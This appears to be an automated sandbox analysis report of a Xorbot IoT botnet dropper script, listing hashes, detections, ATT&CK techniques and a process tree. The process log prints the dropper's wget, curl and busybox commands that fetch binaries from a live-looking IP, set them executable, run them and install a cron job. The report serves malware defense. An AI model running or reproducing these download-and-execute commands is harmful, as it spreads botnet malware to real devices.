xorbot | 2683366855076f245c7ce03f71402314abdf64cffa41f23fa8a2639589722e43

Analysis

max time kernel
148s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
30/11/2024, 14:20

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General

Target

bins.sh
Size

10KB
MD5

a5d3dc448d642344e13e489694683276
SHA1

beb14c3403aa18f04afe4401a7c5743b7adb936e
SHA256

2683366855076f245c7ce03f71402314abdf64cffa41f23fa8a2639589722e43
SHA512

7ae86b3efed87a06d4fcab9bb88c0d3c54089acea20c3a27f45c654b847d2f3e825002156db957a51c22fa28480c26b08b873e8afe8e1aeadfa6ae7e7e856abf
SSDEEP

192:3+GW2OINZsAcyZhThDxapTfXsMo06HHNSWbn/aSKF5dTfXsM00cHHNSWDdaSKF5u:I2OINZ/hDkpTfXsMo0En/aSKF5dTfXsv

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1496	chmod
1503	chmod
1510	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2	1497	SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
/tmp/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4	1504	d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
/tmp/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY	1511	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY

Renames itself 1 IoCs

pid	Process
1512	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.UBQIuL	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/27/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/267/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/948/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1183/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1590/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/79/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/31/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1140/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1361/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1559/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/26/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1519/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1537/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/163/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/405/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1122/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1338/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1586/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/3/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/32/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/169/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/937/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/5/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/161/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/507/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1104/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1176/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1541/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/89/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1569/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1597/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/29/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/82/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/165/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/406/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1172/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1562/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1584/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1593/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/17/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1594/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1255/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/162/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1579/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1603/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1610/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1136/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1612/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1478/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1549/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1565/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/157/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/637/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1151/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1554/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/15/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/168/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/457/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/459/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/701/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1077/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1157/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/1550/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
File opened for reading	/proc/166/cmdline	R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2	curl
File opened for modification	/tmp/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2	busybox
File opened for modification	/tmp/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4	wget
File opened for modification	/tmp/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4	busybox
File opened for modification	/tmp/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY	curl
File opened for modification	/tmp/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2	wget
File opened for modification	/tmp/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4	curl
File opened for modification	/tmp/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY	wget
File opened for modification	/tmp/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1478
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1481
- /usr/bin/wget
  wget http://216.126.231.240/bins/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
  2⤵
  - Writes file to tmp directory
  PID:1482
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
  2⤵
  - Writes file to tmp directory
  PID:1486
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
  2⤵
  - Writes file to tmp directory
  PID:1487
- /bin/chmod
  chmod 777 SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
  2⤵
  - File and Directory Permissions Modification
  PID:1496
- /tmp/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
  ./SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
  2⤵
  - Executes dropped EXE
  PID:1497
- /bin/rm
  rm SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
  2⤵
  PID:1499
- /usr/bin/wget
  wget http://216.126.231.240/bins/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
  2⤵
  - Writes file to tmp directory
  PID:1500
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
  2⤵
  - Writes file to tmp directory
  PID:1501
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
  2⤵
  - Writes file to tmp directory
  PID:1502
- /bin/chmod
  chmod 777 d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
  2⤵
  - File and Directory Permissions Modification
  PID:1503
- /tmp/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
  ./d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
  2⤵
  - Executes dropped EXE
  PID:1504
- /bin/rm
  rm d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
  2⤵
  PID:1506
- /usr/bin/wget
  wget http://216.126.231.240/bins/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
  2⤵
  - Writes file to tmp directory
  PID:1507
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
  2⤵
  - Writes file to tmp directory
  PID:1508
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
  2⤵
  - Writes file to tmp directory
  PID:1509
- /bin/chmod
  chmod 777 R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
  2⤵
  - File and Directory Permissions Modification
  PID:1510
- /tmp/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
  ./R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1511
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1513
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1514
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1515
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1516
- /bin/rm
  rm R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
  2⤵
  PID:1518
- /usr/bin/wget
  wget http://216.126.231.240/bins/X17oFdlcr2V6GXbaNFYtXcHNjLyK9nWwZg
  2⤵
  PID:1521
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/X17oFdlcr2V6GXbaNFYtXcHNjLyK9nWwZg
  2⤵
  PID:1522

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/var/spool/cron/crontabs/tmp.UBQIuL

Filesize
210B

MD5
5b756251389b0b0e5509b62641107918

SHA1
6cfcc9c96ee95f1a44a92ceced51e209651052c7

SHA256
b709916fea693ddca573230afaedaaa31f2c2656105fee591602c9cbc56617c0

SHA512
44f05a6840689b469f0d0ba0be8355b13d0e55783e2b7923c9b83da67b18ed828cf7c9e307e15bce016a3aa3ad72e72ececfdc35480872a48ea4ae0e8fa5357b

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads